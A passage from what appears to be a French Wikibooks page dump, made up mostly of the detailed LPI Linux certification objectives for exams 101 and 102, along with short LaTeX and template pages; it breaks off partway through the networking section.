Pareil que <code>memchr()</code>, mais commence par la fin du bloc '<code>memoire</code>'. Modèle:Programmation 546 12246 2004-09-30T09:53:28Z Guillaumito 46 retouche ---- Cet article fait partie du livre [[Programmation]] MediaWiki:Loginsuccess 547 12247 2004-09-30T11:48:38Z Guillaumito 46 guillemets francais Vous êtes actuellement connecté sur {{SITENAME}} en tant que « $1 ». Programmation LaTeX Faire des présentations 548 42474 2006-05-16T10:46:45Z Cdang 1202 RV du vandalisme de 2 mars 2006 à 14:59 139.124.25.26 {{LaTeX}} Nous allons présenter différentes classes LaTeX permettant de produire des présentations. ==Slides== ==Seminar== ==Prosper== ===Liens externes=== [http://prosper.sourceforge.net/ Site officiel] ==Beamer== ===Liens externes=== [http://latex-beamer.sourceforge.net/ Site officiel] ==ABISS_poster== ===Liens externes=== [http://al.jalix.org/LaTeX.php Site officiel] {{LaTeX-nav}} Image:Latex.png 549 12249 2004-09-30T15:58:56Z Guillaumito 46 Modèle:LaTeX 550 12250 2004-09-30T16:06:52Z Guillaumito 46 {| style="border:1px black solid; margin=5px 5px 5px 1em;width:160px;" cellspacing="0" cellpadding="5" align="right" | style="text-align:center;" | [[Image:Latex.png|150px]] |- | *[[Programmation LaTeX Premier exemple|Premier exemple]] *[[Programmation LaTeX Éléments de base|Éléments de base]] **[[Programmation LaTeX Typographie et mise en forme du texte|Typographie et mise en forme du texte]] **[[Programmation LaTeX Les classes|Les classes]] **[[Programmation LaTeX Les environnements|Les environnements]] *[[Programmation LaTeX Écrire des mathématiques|Écrire des mathématiques]] *[[Programmation LaTeX Faire des présentations|Faire des présentations]] |} Modèle:Latex 551 12251 2004-09-30T16:08:33Z Guillaumito 46 Modèle:Latex déplacé vers Modèle:LaTeX #REDIRECT [[Modèle:LaTeX]] Modèle:LPIC 553 12252 2004-10-05T18:20:37Z Yann 2 {| style="border:1px black solid; margin=5px 5px 5px 1em;width:160px;" cellspacing="0" cellpadding="5" align="right" | style="text-align:center;" | [[Image:LPIC.png|150px|Logo LPI]] |- | *[[Certifications Linux LPI]] *[[LPIC1 examen 101]] **[[Objectifs détaillés (LPIC101)]] *[[LPIC1 examen 102]] **[[Objectifs détaillés (LPIC102)]] *[[LPIC2 examen 201]] **[[Objectifs détaillés (LPIC201)]] *[[LPIC2 examen 202]] **[[Objectifs détaillés (LPIC202)]] |} Objectifs détaillés (LPIC101) 554 28863 2006-01-13T21:31:37Z JMRyan 1016 Lien à la version anglaise. {{LPIC}} Voici les objectifs détaillés tels que définis par [https://www.lpi.org/fr/obj_101.html LPI]. Ce cours n'a pas une approbation officielle de LPI. Voici le minimum requis pour le niveau 1 de la certification LPI. Cela recouvre les taches d'administration de base du système qui sont communes à toutes les distributions Linux. Chaque objectif est pondéré par un poids. Les poids s'étendent de 1 à 10, et indiquent l'importance relative de chaque objectif. Les objectifs avec les poids les plus élevés seront représentés dans l'examen par plus de questions. == Matière 101: Matériel et architecture == === 1.101.1 Configurer les bases du BIOS === **tt** ;Poids: 1 Description : ''Les candidats devraient pouvoir configurer le matériel système de base en modifiant correctement le BIOS système. Cet objectif inclut une compréhension appropriée des buts de configuration du BIOS tels que l'utilisation de LBA sur les disques durs IDE de plus de 1024 cylindres, en activant ou désactivant des périphériques intégrés, aussi bien que de configurer des systèmes avec (ou sans) périphériques externes tels que des claviers. Cela inclut également le paramétrage correct des adresses d'IRQ, de DMA et d'I/O pour tous les ports administrés par le BIOS et la gestion des arrêts sur erreur.'' '''Fichiers''', ''termes'' et <tt>commandes</tt> principaux inclus : ;/proc/ioports ;/proc/interrupts ;/proc/dma ;/proc/pci === 1.101.3 Configurer un modem et une carte son === ;Poids: 1 Description : ''Assurez-vous des conditions de compatibilité de raccordement des périphériques (en particulier pour les modems qui ne sont pas "Windows"), vérifiez que le modem et la carte son emploient des adresses uniques et correctes d'IRQ, d'I/O, et de DMA, si la carte son est PnP installez et démarrez sndconfig et isapnp, configurez le modem pour un "dial-up" clavier, configurez le modem pour le protocole PPP | SLIP | CSLIP connexion, paramétrez le port série pour 115.2 Kbps.'' === 1.101.4 Installer des périphériques SCSI === ;Poids: 1 Description : Les candidats devraient pouvoir configurer les périphériques SCSI en utilisant le "BIOS SCSI" aussi bien que les outils nécessaires Linux. Ils devraient également faire la différence entre les divers types de SCSI. Cet objectif inclut la manipulation du BIOS SCSI pour détecter les identifications utilisées et disponibles SCSI et saisir la valeur correcte d'identification pour différents périphériques particulièrement le périphérique de démarrage (''boot''). Cela inclut également la gestion du paramétrage du BIOS de l'ordinateur pour déterminer la séquence de démarrage (''boot'') si des périphériques SCSI et IDE sont présents.'' '''Fichiers''', ''termes'' et <tt>commandes</tt> principaux inclus : ;SCSI ID ;/proc/scsi/ ;scsi_info === 1.101.5 Paramétrer différentes cartes d'extension PC === ;Poids: 3 Description : ''Les candidats devraient être en mesure de configurer des cartes variées pour des différentes ''slots'' d'extension. Ils devraient connaître la différence entre les cartes ISA et PCI en respectant les données de configuration. Cet objectif inclus le paramétrage correct des IRQs, DMA et ports I/O des cartes, spécialement pour éviter les conflits entre les périphériques. Cela inclut l'usage de isapnp si la carte est un périphérique PnP.'' '''Fichiers''', ''termes'' et <tt>commandes</tt> principaux inclus : ;/proc/dma ;/proc/interrupts ;/proc/ioports ;/proc/pci ;pnpdump (8) ;isapnp (8) ;lspci (8) === 1.101.6 Configurer les périphériques de communication === ;Poids: 1 Description : ''Les candidats devraient être en mesure d'installer et de configurer différents périphériques internes ou externes de communication comme un modem, un adaptateur ISDN, et commutateurs (switches) DSL. L'objectif inclut la vérification de la compatibilité requise (spécialement importante si le modem est un modem Windows / Microsoft), et de la nécessité de charger et de paramétrer les pilotes adéquats des périphériques, aussi que les paramètres matériels (IRQs, DMAs, I/O ports) des périphériques. Ceci inclut également les périphériques de communication et les outils de configuration d'interfaces, comme le port série pour 115.2 kbps, et l'installation correcte du modem pour la limite de connexions PPP en sortie.'' '''Fichiers''', ''termes'' et <tt>commandes</tt> principaux inclus : ;/proc/dma ;/proc/interrupts ;/proc/ioports ;setserial(8) === 1.101.7 Configurer des périphériques USB === ;Poids: 1 Description : ''Les candidats devraient être en mesure d'activer le support USB, d'utiliser et de configurer différents périphériques USB . Cet objectif inclut la sélection du ''chipset'' USB approprié et du module correspondant. Cela inclut aussi la connaissance des bases de l'architecture de couche modèle (''layer model'') de l'USB ainsi que les différents modules utilisés dans les différentes couches (layer). '''Fichiers''', ''termes'' et <tt>commandes</tt> principaux inclus : ;lspci (8) ;usb-uhci.o ;usb-ohci.o ;/etc/usbmgr/ ;usbmodules ;/etc/hotplug == Matière 102: Installation de Linux et gestion des ''packages'' == === 1.102.1 Organisation (''layout'') de disque dur === ;Poids: 5 Description : ''Les candidats devraient être capables de concevoir un plan de partitionnement de disque dur pour un système Linux. Cet objectif inclut l'allocation d'espace pour le système de fichiers et de ''swap'' pour séparer les partitions et les disques, et d'optimiser de façon rationnelle la construction en vue de l'usage prévu du système. Cela inclut de plus de placer /boot sur une partition conforme au besoin du BIOS pour pouvoir démarrer.'' '''Fichiers''', ''termes'' et <tt>commandes</tt> principaux inclus : ;/ (root, système de fichiers racine) ;système de fichiers /var ;système de fichiers /home ;espace de ''swap'' ;points de montage ;partitions ;cylindre 1024 === 1.102.2 Installer un gestionnaire de démarrage === ;Poids: 1 Description : ''Les candidats devraient être en mesure de sélectionner, d'installer et de configurer un gestionnaire de démarrage. Cet objectif inclut la fourniture de localisations de démarrage alternatif, la sauvegarde et la restauration des options de démarrage (par exemple démarrer à partir d'une disquette). '''Fichiers''', ''termes'' et <tt>commandes</tt> principaux inclus : ;/etc/lilo.conf ;/boot/grub/grub.conf ;lilo ;grub-install ;MBR ;superblock ;first stage boot loader === 1.102.3 Compiler et installer un programme à partir du code source === ;Poids: 5 Description : ''Les candidats doivent être en mesure de compiler et d'installer un programme exécutable à partir des sources. Cet objectif inclus d'être capable de décompacter un fichier depuis les sources. Les candidats devraient pouvoir faire des adaptations simples sur le Makefile, par exemple changer les chemins (paths) ou ajouter d'autres entrées aux dossiers.'' '''Fichiers''', ''termes'' et <tt>commandes</tt> principaux inclus : ;gunzip ;gzip ;bzip2 ;tar ;configure ;make === 1.102.4 Gérer les bibliothèques partagées === ;Poids: 3 Description : ''Les candidats devraient être en mesure de déterminer les bibliothèques partagées dont dépendent les programes exécutables et de les installer si nécessaire. Les candidats devraient pouvoir statuer sur l'endroit ou les bibliothèques système sont conservées.'' '''Fichiers''', ''termes'' et <tt>commandes</tt> principaux inclus : ;ldd ;ldconfig ;/etc/ld.so.conf ;LD_LIBRARY_PATH === 1.102.5 Utiliser le gestionnaire de package Debian === ;Poids: 8 Description : ''Les candidats devraient pouvoir assurer les tâches de gestion des packages en utilisant l'outil dédié de Debian (Debian package manager). Cet objectif implique la capacité d'utiliser la ligne de commande et les outils interactifs pour installer, mettre à jour, et désinstaller des packages, aussi bien que de trouver les packages contenant des fichiers ou programmes spécifiques (tel package doit ou ne doit pas être installé). Cet objectif inclut aussi de pouvoir obtenir des informations sur le package tel que la version, le contenu, les dépendances, l'intégrité du package et le statut de l'installation (si oui ou non le package est installé).'' '''Fichiers''', ''termes'' et <tt>commandes</tt> principaux inclus : ;unpack ;configure ;/etc/dpkg/dpkg.cfg ;/var/lib/dpkg/* ;/etc/apt/apt.conf ;/etc/apt/sources.list ;dpkg ;dselect ;dpkg-reconfigure ;apt-get ;alien === 1.102.6 Utiliser le gestionnaire de package Red Hat (RPM) === ;Poids: 8 Description : ''Les candidats devraient être en mesure d'effectuer la gestion des packages sous des distributions Linux utilisant RPMs pour la gestion des archives. Cet objectif inclus d'etre capable d'installer, re-installer, upgrader, et retirer des packages, aussi bien que d'obtenir des informations sur le statut et la version des packages. Cet objectif inclut aussi les informations de package tel que version, statut, dépendences, intégrité, et signatures. Les candidats devrait etre en mesure de determiner quels fichiers le package fourni, aussi bien que de trouver de quel package un fichier spécifique est issus.'' '''Fichiers''', ''termes'' et <tt>commandes</tt> principaux inclus : ;/etc/rpmrc ;/usr/lib/rpm/* ;rpm ;grep == Matière 103: GNU et commandes Unix == === 1.103.1 Travailler en ligne de commande === ;Poids: 5 Description : ''Les candidats devraient être capables d'interagir avec des ''shells'' et des commandes en utilisant la ligne de commande. Cela inclus de saisir au clavier des commandes et séquences de commandes valides, de définir, référencer et exporter des variables d'environnement, d'utiliser l'historique de commande et les commodités d'édition, passer des commandes dans le ''path'' et en dehors, d'utiliser la substitution de commande, d'appliquer une commande de façon récursive à travers l'arbre du ''directory'' (''tree'') et d'utiliser ''man'' pour se documenter sur les commandes.'' '''Fichiers''', ''termes'' et <tt>commandes</tt> principaux inclus : ;source (.) ;bash ;echo ;env ;exec ;export ;man ;pwd ;set ;unset ;~/.bash_history ;~/.profile === 1.103.2 Maîtriser les flux de textes à l'aide de filtres === ;Poids: 6 Description : ''Les candidats devraient être en mesure d'appliquer des filtres sur les flux de textes. Ces tâches incluent l'envoi de fichiers texte et de flux de sortie à travers des filtres utilitaires de texte pour modifier ceux-ci, et utiliser les commandes standards UNIX issues de ''package'' GNU textutils.'' '''Fichiers''', ''termes'' et <tt>commandes</tt> principaux inclus : ;cat ;cut ;expand ;fmt ;head ;join ;nl ;od ;paste ;pr ;sed ;sort ;split ;tac ;tail ;tr ;unexpand ;uniq ;wc === 1.103.3 Gestion de base des fichiers === ;Poids: 3 Description : ''Les candidats devraient être en mesure d'utiliser les commandes de base UNIX pour copier, déplacer, et retirer des fichiers et des répertoires. Ces tâches regroupent les opérations avancées de gestion de fichiers tel que la copie récursive de fichiers multiples, retirer des répertoire récursivement, et déplacer des fichiers qui se conforment à ''wilcard pattern''. Cela inclus d'utiliser les spécifications simples et avancées de ''wildcard'' pour se référer aux fichiers, aussi bien que d'utiliser ''find'' pour localiser et agir sur les fichiers en se basant sur le type, la taille, et le temps(time).'' '''Fichiers''', ''termes'' et <tt>commandes</tt> principaux inclus : ;cp ;find ;mkdir ;mv ;ls ;rm ;rmdir ;touch ;file globbing === 1.103.4 Utiliser les flux, ''pipes'', et redirections === ;Poids: 5 Description : ''Les candidats devraient être en mesure de rediriger les flux (''streams'') et de les connecter de façon à traiter avec efficacité des données texte (''process textual data''). Ces tâches comprennent : les redirections standards, les erreurs standards, faire un ''pipe'' sur le résultat d'une commande vers l'entrée d'une autre commande (''piping''), utiliser la sortie d'une commande (''output'') comme argument d'une autre commande, envoyer la sortie à la fois vers la sortie standard (''stdout'') et un fichier.'' '''Fichiers''', ''termes'' et <tt>commandes</tt> principaux inclus : ;tee ;xargs ;< ;<< ;> ;>> ;| ;` ` === 1.103.5 Créer, contrôler et tuer des processus === ;Poids: 5 Description : ''Les candidats devraient pouvoir gérer les processus. Cela comprend : la compréhension de la façon d'exécuter un ''job'' comme tâche principale ou en arrière-plan (''background/foreground''), modifier leur statut (''background/foreground''), démarrer un processus qui s'exécutera sans connexion à un terminal, signaler au programme de continuer après le logout. Les taches comprennent aussi la gestion des processus actifs, en sélectionnant et triant les processus pour visualisation, en envoyant des signaux au processus, en tuant des processus et identifiant et tuant des applications X qui ne se sont pas arrêtées alors que la session X est fermée.'' '''Fichiers''', ''termes'' et <tt>commandes</tt> principaux inclus : ;& ;bg ;fg ;jobs ;kill ;nohup ;ps ;top === 1.103.6 Modifier la priorité d'exécution d'un processus === ;Poids: 3 Description : ''Les candidats devraient pouvoir gérer les priorités d'exécution des processus. Ces taches incluses de lancer un programment avec une priorité haute ou basse, de déterminer la priorité d'un processus et le changement de priorité d'un processus en cour.'' '''Fichiers''', ''termes'' et <tt>commandes</tt> principaux inclus : ;nice ;ps ;renice ;top === 1.103.7 Recherche sur les fichiers texte avec des expressions réguliéres === ;Poids: 3 Description : Les candidats devraient pouvoir manipuler des fichiers et des données textes en utilisant les expressions régulières. Cet objectif inclut la création d'expressions régulières simples contenant plusieurs éléments d'écriture. Ceci inclut aussi l'utilisation d'outils pour réaliser des recherches à travers un système de fichiers ou le contenu d'un fichier. '''Fichiers''', ''termes'' et <tt>commandes</tt> principaux inclus : ;grep ;regexp ;sed === 1.103.8 Réaliser des opérations d'édition en utilisant l'éditeur VI === ;Poids: 1 Description : ''Les candidats devraient pouvoir éditer des fichiers texte en utilisant VI. Cet objectif inclut la navigation dans VI , les ''nodes'' de base VI, insertion, édition, effacement, et recherche de texte.'' '''Fichiers''', ''termes'' et <tt>commandes</tt> principaux inclus : ;vi ;/, ? ;h,j,k,l ;G, H, L ;i, c, d, dd, p, o, a ;ZZ, <nowiki>:w!, :q!, :e!, :!</nowiki> == Matière 104: Périphériques et systèmes de fichiers Linux == === 1.104.1 Créer des partitions et des systèmes de fichiers === ;Poids: 3 Description : ''Les candidats devraient pouvoir configurer les partitions disque et créer des systèmes de fichiers sur des supports tel que des disques durs. Cet objectif inclut l'utilisation de divers commandes mkfs, l'installation de partitions pour des systèmes de fichiers variés, incluant ext2, ext3, reiserfs, vfat, et xfs.'' '''Fichiers''', ''termes'' et <tt>commandes</tt> principaux inclus : ;fdisk ;mkfs === 1.104.2 Préserver l'intégrité d'un système de fichiers === ;Poids: 3 Description : ''Les candidats devraient pouvoir vérifier l'intégrité des systèmes de fichiers, gérer l'espace libre et les ''inodes'', et réparer des problèmes simples sur le système de fichiers. Cet objectif demande l'utilisation des commandes nécessaires pour maintenir le système de fichiers standard, ainsi que les données supplémentaires associées avec la tenue d'un système de fichiers journalisé.'' '''Fichiers''', ''termes'' et <tt>commandes</tt> principaux inclus : ;du ;df ;fsck ;e2fsck ;mke2fs ;debugfs ;dumpe2fs ;tune2fs ;fdisk === 1.104.3 Contrôler le montage et démontage d'un système de fichiers === ;Poids: 3 Description : ''Les candidats devraient pouvoir configurer le montage d'un système de fichiers. Cet objectif inclut la capacité à monter et démonter manuellement des systèmes de fichiers, configurer le système de fichiers monté au démarrage, et configurer des systèmes de fichiers amovibles tels qu'un lecteur de bandes, une disquette, et un disque compact.'' '''Fichiers''', ''termes'' et <tt>commandes</tt> principaux inclus : ;/etc/fstab ;mount ;umount === 1.104.4 Gérer les quotas disque === ;Poids: 3 Description : ''Les candidats devraient êtres capables de gérer les quotas disque pour les utilisateurs. Cet objectif inclut la mise en place d'un quota disque pour un système de fichiers pour éditer, vérifier et produire des rapports sur les quotas utilisateurs.'' '''Fichiers''', ''termes'' et <tt>commandes</tt> principaux inclus : ;quota ;edquota ;repquota ;quotaon === 1.104.5 Utiliser les permissions des fichiers pour en contrôler l'accés === ;Poids: 5 Description : ''Les candidats devraient être capables de contrôler l'accès aux fichiers avec les permissions. Cet objectif inclut les permissions d'accès pour les fichiers ordinaires ou spéciaux ainsi que les répertoires. L'objectif comprend aussi les modes d'accès tel que ''suid'', ''sgid'', et le ''sticky bit'', l'utilisation du ''champ group'' pour autoriser l'accès de groupes de travail à un fichier, le ''immutable flag'', et mode de création de fichier par défaut.'' '''Fichiers''', ''termes'' et <tt>commandes</tt> principaux inclus : ;chmod ;umask ;chattr === 1.104.6 Gérer les propriétés des fichiers === ;Poids: 1 Description : ''Les candidats devraient être en mesure de contrôler les droits des utilisateurs et des groupes sur les fichiers. Cet objectif inclut la capacité à modifier la propriété utilisateur et groupe sur un fichier aussi bien que le propriétaire par défaut de fichiers nouvellement créés. '''Fichiers''', ''termes'' et <tt>commandes</tt> principaux inclus : ;chmod ;chown ;chgrp === 1.104.7 Créer et modifier des liens symboliques ou réels === ;Poids: 1 Description : ''Les candidats devraient être capables de créer et gérer des liens symboliques ou réels vers un fichier. Cet objectif inclut la capacité à créer et identifier des liens, à copier des fichiers à travers ces liens, et à utiliser les liens vers des fichiers dans les tâches d'administration système. '''Fichiers''', ''termes'' et <tt>commandes</tt> principaux inclus : ;ln === 1.104.8 Trouver les fichiers système et maîtriser leur positionnement === ;Poids: 5 Description : ''Les candidats devront être complètement familiarisés avec la Hierarchie Standard du système de fichiers, incluant la localisation habituelle des fichiers et les classifications de répertoires. Cet objectif inclut la capacité de trouver les fichiers et les commandes sur un système Linux. '''Fichiers''', ''termes'' et <tt>commandes</tt> principaux inclus : ;find ;locate ;slocate ;updatedb ;whereis ;which ;/etc/updatedb.conf == Matière 110: Le système X Window == === 1.110.1 Installer et configurer XFree86 === ;Poids: 5 Description : ''Les candidats devraient être en mesure de configurer et installer un serveur X et un serveur de polices. Cet objectif regroupe la vérification du support de la carte video et du moniteur par le serveur X, ainsi que l'adaptation des réglages de X pour la carte et le moniteur. Cela inclut aussi l'installation des polices, d'un serveur de polices et de configurer X pour l'utilisation du serveur de polices (ce qui demande de modifier manuellement /etc/X11/XF86Config dans la section "Files").'' '''Fichiers''', ''termes'' et <tt>commandes</tt> principaux inclus : ;XF86Setup ;xf86config ;xvidtune ;/etc/X11/XF86Config ;.Xresources === 1.110.2 Installer un gestionnaire d'affichage === ;Poids: 3 Description : ''Le candidat devrait être en mesure d'installer et de configurer un gestionnaire d'affichage. Cet objectif inclut le démarrage ou l'arrêt du gestionnaire d'affichage et le changement des préférences d'affichage, ainsi que le changement de le nombre de couleurs (pixel/bit) par défaut du gestionnaire d'affichage. Cela inclut aussi la configuration du gestionnaire d'affichage pour une utilisation sur un terminal X. Cet objectif couvre les gestionnaires d'affichage XDM (X Display Mananger), GDM (Gnome Display Manager) and KDM (KDE Display Manager).'' '''Fichiers''', ''termes'' et <tt>commandes</tt> principaux inclus : ;/etc/inittab ;/etc/X11/xdm/* ;/etc/X11/kdm/* ;/etc/X11/gdm/* === 1.110.4 Installer et configurer un gestionnaire d'environnement graphique === ;Poids: 5 Description : ''Les candidats devront être en mesure de paramétrer le bureau et le gestionnaire de fenêtres globalement pour démontrer leur maîtrise des procédures de configuration des menus du gestionnaire de fenêtres et/ou des menus panel du bureau (desktop panel). Cet objectif inclut la sélection et la configuration du terminal X choisi (xterm, rxvt, aterm, etc.), la vérification et le respect des dépendances des librairies nécessaires aux applications X, l'exportation d'un affichage X vers une station de travail externe.'' '''Fichiers''', ''termes'' et <tt>commandes</tt> principaux inclus : ;.xinitrc ;.Xdefaults ;xhost ;variable d'environnement DISPLAY [[en:LPI Linux Certification/LPIC1 Exam 101/Detailed Objectives]] Image:LPIC.png 555 12254 2004-10-01T12:05:15Z Yann 2 Logo LPI Ce logo est une marque déposée de LPI et son utilisation est restreint. cf. http://www.lpi.org Objectifs détaillés (LPIC102) 556 29220 2006-01-17T21:45:03Z JMRyan 1016 Lien à la version anglaise. {{LPIC}} Voici les objectifs détaillés tels que définis par [https://www.lpi.org/fr/obj_102.html LPI]. Ce cours n'a pas une approbation officielle de LPI. Voici le minimum requis pour le niveau 1 de la certification LPI. Cela recouvre les taches d'administration de base du systéme qui sont communes à toutes les distributions Linux. Chaque objectif est pondéré par un poids. Les poids s'étendent de 1 à 10, et indiquent l'importance relative de chaque objectif. Les objectifs avec les poids les plus élevés seront représentés dans l'examen par plus de questions. == Sujet 105: Kernel == === 1.105.1 Maîtrise du noyau et des modules au démarrage === ;Poids: 4 Description: ''Les candidats devraient pouvoir contrôler et/ou questionner un noyau et les modules "chargeables" du noyau. Cet objectif inclut, en utilisant les utilitaires "ligne-de-commande", d'obtenir des informations sur le noyau et ses modules actuellement en exécution. Cela inclut également de charger et décharger manuellement les modules en fonction des besoins. Cela inclut de plus de pouvoir déterminer quand les modules peuvent être déchargés et quels paramètres un module accepte. Les candidats devraient être capables de configurer le système pour charger les modules par des noms autres que leurs noms fichiers.'' Répertoires principaux, termes, et utilitaires inclus : ;/lib/modules/kernel-version/modules.dep ;/etc/modules.conf & /etc/conf.modules ;depmod ;insmod ;lsmod ;rmmod ;modinfo ;modprobe ;uname === 1.105.2 Reconfigurer, construire, et installer un noyau adapté et ses modules === ;Poids: 3 Description: ''Les candidats devraient pouvoir adapter, construire, et installer un noyau et ses modules à charger à partir des sources. Cet objectif comprend l'adaptation de la configuration du noyau actuel et la construction d'un nouveau noyau et des modules du kernel de façon appropriée. Cela inclut également l'installation du nouveau noyau ainsi que de tous les modules et de s'assurer que le gestionnaire de boot puisse localiser le nouveau noyau et les dossiers associés (généralement localisés sous /boot, voir l'objectif 1.102.2 pour plus de détails au sujet de la configuration de gestionnaire de démarrage).'' Répertoires principaux, termes, et utilitaires inclus : ;/usr/src/linux/* ;/usr/src/linux/.config ;/lib/modules/kernel-version/* ;/boot/* ;make ;make targets: config, menuconfig, xconfig, oldconfig, modules, install, modules_install, depmod == Sujet 106: Démarrage, initialization, arrêt et niveaux de fonctionnement == === 1.106.1 Démarrer le système === ;Poids: 3 Description : ''Les Candidats doivent être en mesure de guider le système à travers les procédures de démarrage (booting process). Cela comprend de passer des commandes au chargeur de démarrage (boot loader) et de passer les options au noyau lors du boot, ainsi que de relever les événements écrits dans les fichiers de log.'' Répertoires principaux, termes, et utilitaires inclus : ;/var/log/messages ;/etc/conf.modules or /etc/modules.conf ;dmesg ;LILO ;GRUB === 1.106.2 Changer de niveaux de fonctionnement, arrêter ou redémarrer le système === ;Poids: 3 Description : ''Les candidats doivent pouvoir utiliser et configurer les runlevels (niveaux de fonctionnement) du système. Cet objectif inclus le passage en mode utilisateur unique, l'arrêt et le redémarrage du système. Les candidats doivent être capables d'alerter tous les utilisateurs avant de changer de runlevel, et terminer les processus en cours proprement. Cet objectif inclus aussi la configuration du runlevel par défaut. Répertoires principaux, termes, et utilitaires inclus : ;/etc/inittab ;shutdown ;init == Sujet 107: Imprimer == === 1.107.2 Gestion des imprimantes et des queues d'impression === ;Poids: 1 Description : ''Les Candidats doivent pouvoir gérer une file d'impression et les travaux d'impression des utilisateurs. Cet objectif comprend la surveillance ("monitoring") du serveur d'impression et l'utilisation des files d'impression ainsi que les problèmes d'ordre généraux qui y sont liés.'' Répertoires principaux, termes, et utilitaires inclus : ;/etc/printcap ;lpc ;lpq ;lprm ;lp === 1.107.3 Imprimer des fichiers === ;Poids: 1 Description : ''Les Candidats doivent pouvoir gérer les files d'impression et et manipuler les taches d'impression. Cet objectif regroupe l'ajout et la suppression de travaux d'impression de files d'imprimante configurées et la conversion de fichiers texte en postscript pour l'impression.'' Répertoires principaux, termes, et utilitaires inclus : ;lpr ;lpq ;mpage === 1.107.4 Installer et configurer des imprimantes distantes et locales === ;Poids: 1 Description : ''Le candidat doit pouvoir installer un daemon (tache de fond) d'impression, installer et configurer un filtre d'impression (ex: apsfilter, magicfilter). Cet objectif inclut de rendre accessible à un système linux des imprimantes locales et distantes , incluant postscript, non-postscript et imprimantes Samba.'' Répertoires principaux, termes, et utilitaires inclus : ;/etc/printcap ;/etc/apsfilter/* ;/var/lib/apsfilter/*/ ;/etc/magicfilter/*/ ;/var/spool/lpd/*/ ;lpd == Sujet 108: Documentation == === 1.108.1 Utiliser et gérer un système de documentation === ;Poids: 4 Description : ''Candidates should be able to use and administer the man facility and the material in /usr/share/doc/. This objective includes finding relevant man pages, searching man page sections, finding commands and man pages related to them, and configuring access to man sources and the man system. It also includes using system documentation stored in /usr/share/doc/ and determining what documentation to keep in /usr/share/doc/.'' Répertoires principaux, termes, et utilitaires inclus : ;MANPATH man ;apropos ;whatis === 1.108.2 Trouver la documentation Linux sur Internet === ;Poids: 3 Description : ''Candidates should be able to find and use Linux documentation. This objective includes using Linux documentation at sources such as the Linux Documentation Project (LDP), vendor and third-party websites, newsgroups, newsgroup archives, and mailing lists.'' Répertoires principaux, termes, et utilitaires inclus : not applicable === 1.108.5 Informer les utilisateurs sur l'état du système === ;Poids: 1 Description : ''Candidates should be able to notify the users about current issues related to the system. This objective includes automating the communication process, e.g. through logon messages.'' Répertoires principaux, termes, et utilitaires inclus : ;/etc/issue ;/etc/issue.net ;/etc/motd == Sujet 109: Shells, écriture de scripts, programmation et compilation == === 1.109.1 Configurer et utiliser l'environnement du Shell === ;Poids: 5 Description : ''Candidate should be able to customize shell environments to meet users' needs. This objective includes setting environment variables (e.g. PATH) at login or when spawning a new shell. It also includes writing bash functions for frequently used sequences of commands.'' Répertoires principaux, termes, et utilitaires inclus : ;~/.bash_profile ;~/.bash_login ;~/.profile ;~/.bashrc ;~/.bash_logout ;~/.inputrc ;function (Bash built-in command) ;export ;env ;set (Bash built-in command) ;unset (Bash built-in command) === 1.109.2 Adapter et écrire des scripts simples === ;Poids: 3 Description : ''Candidate should be able to customize existing scripts, or write simple new (ba)sh scripts. This objective includes using standard sh syntax (loops, tests), using command substitution, testing command return values, testing of file status, and conditional mailing to the superuser. This objective also includes making sure the correct interpreter is called on the first (#!) line of scripts. This objective also includes managing location, ownership, execution and suid-rights of scripts.'' Répertoires principaux, termes, et utilitaires inclus : ;while ;for ;test ;chmod == Sujet 111: Tâches administratives == === 1.111.1 Gérer les comptes utilisateurs et les groupes et les fichiers associés === ;Poids: 4 Description : ''Candidate should be able to add, remove, suspend and change user accounts. Tasks include to add and remove groups, to change user/group info in passwd/group databases. The objective also includes creating special purpose and limited accounts.'' Répertoires principaux, termes, et utilitaires inclus : ;/etc/passwd ;/etc/shadow ;/etc/group ;/etc/gshadow ;chage ;gpasswd ;groupadd ;groupdel ;groupmod ;grpconv ;grpunconv ;passwd ;pwconv ;pwunconv ;useradd ;userdel ;usermod === 1.111.2 Optimiser l'environnement utilisateur et les variables d'environnement système === ;Poids: 3 Description : ''Candidate should be able to modify global and user profiles. This includes setting environment variables, maintaining skel directories for new user accounts and setting command search path with the proper directory.'' Répertoires principaux, termes, et utilitaires inclus : ;/etc/profile ;/etc/skel ;env ;export ;set ;unset === 1.111.3 Configurer et utiliser les fichiers de logs du système pour répondre aux besoins d'administration et de sécurité === ;Poids: 3 Description : ''Candidate should be able to configure system logs. This objective includes managing the type and level of information logged, manually scanning log files for notable activity, monitoring log files, arranging for automatic rotation and archiving of logs and tracking down problems noted in logs.'' Répertoires principaux, termes, et utilitaires inclus : ;/etc/syslog.conf ;/var/log/* ;logrotate ;tail -f ;dmesg === 1.111.4 Automatiser les tâches d'administration système en utilisant des travaux préprogrammés === ;Poids: 4 Description : ''Candidate should be able to use cron or anacron to run jobs at regular intervals and to use at to run jobs at a specific time. Task include managing cron and at jobs and configuring user access to cron and at services.'' Répertoires principaux, termes, et utilitaires inclus : ;/etc/anacrontab ;/etc/at.deny ;/etc/at.allow ;/etc/crontab ;/etc/cron.allow ;/etc/cron.deny ;/var/spool/cron/* ;at ;atq ;atrm ;crontab === 1.111.5 Maintenir une stratégie efficace de sauvegarde des données === ;Poids: 3 Description: Description : ''Candidate should be able to plan a backup strategy and backup filesystems automatically to various media. Tasks include dumping a raw device to a file or vice versa, performing partial and manual backups, verifying the integrity of backup files and partially or fully restoring backups.'' Répertoires principaux, termes, et utilitaires inclus : ;cpio ;dd ;dump ;restore ;tar === 1.111.6 Maintenance du temps système === ;Poids: 4 Description : ''Candidate should be able to properly maintain the system time and synchronize the clock over NTP. Tasks include setting the system date and time, setting the BIOS clock to the correct time in UTC, configuring the correct timezone for the system and configuring the system to correct clock drift to match NTP clock.'' Répertoires principaux, termes, et utilitaires inclus : ;/usr/share/zoneinfo ;/etc/timezone ;/etc/localtime ;/etc/ntp.conf ;/etc/ntp.drift ;date ;hwclock ;ntpd ;ntpdate == Sujet 112: Fondamentaux des réseaux == === 1.112.1 Fondamentaux de TCP/IP === ;Poids: 4 Description : ''Candidates should demonstrate a proper understanding of network fundamentals. This objective includes the understanding of IP-addresses, network masks and what they mean (i.e. determine a network and broadcast address for a host based on its subnet mask in "dotted quad" or abbreviated notation or determine the network address, broadcast address and netmask when given an IP-address and number of bits). It also covers the understanding of the network classes and classless subnets (CIDR) and the reserved addresses for private network use. It includes the understanding of the function and application of a default route. It also includes the understanding of basic internet protocols (IP, ICMP, TCP, UDP) and the more common TCP and UDP ports (20, 21, 23, 25, 53, 80, 110, 119, 139, 143, 161).'' Répertoires principaux, termes, et utilitaires inclus : ;/etc/services ;ftp ;telnet ;host ;ping ;dig ;traceroute ;whois === 1.112.3 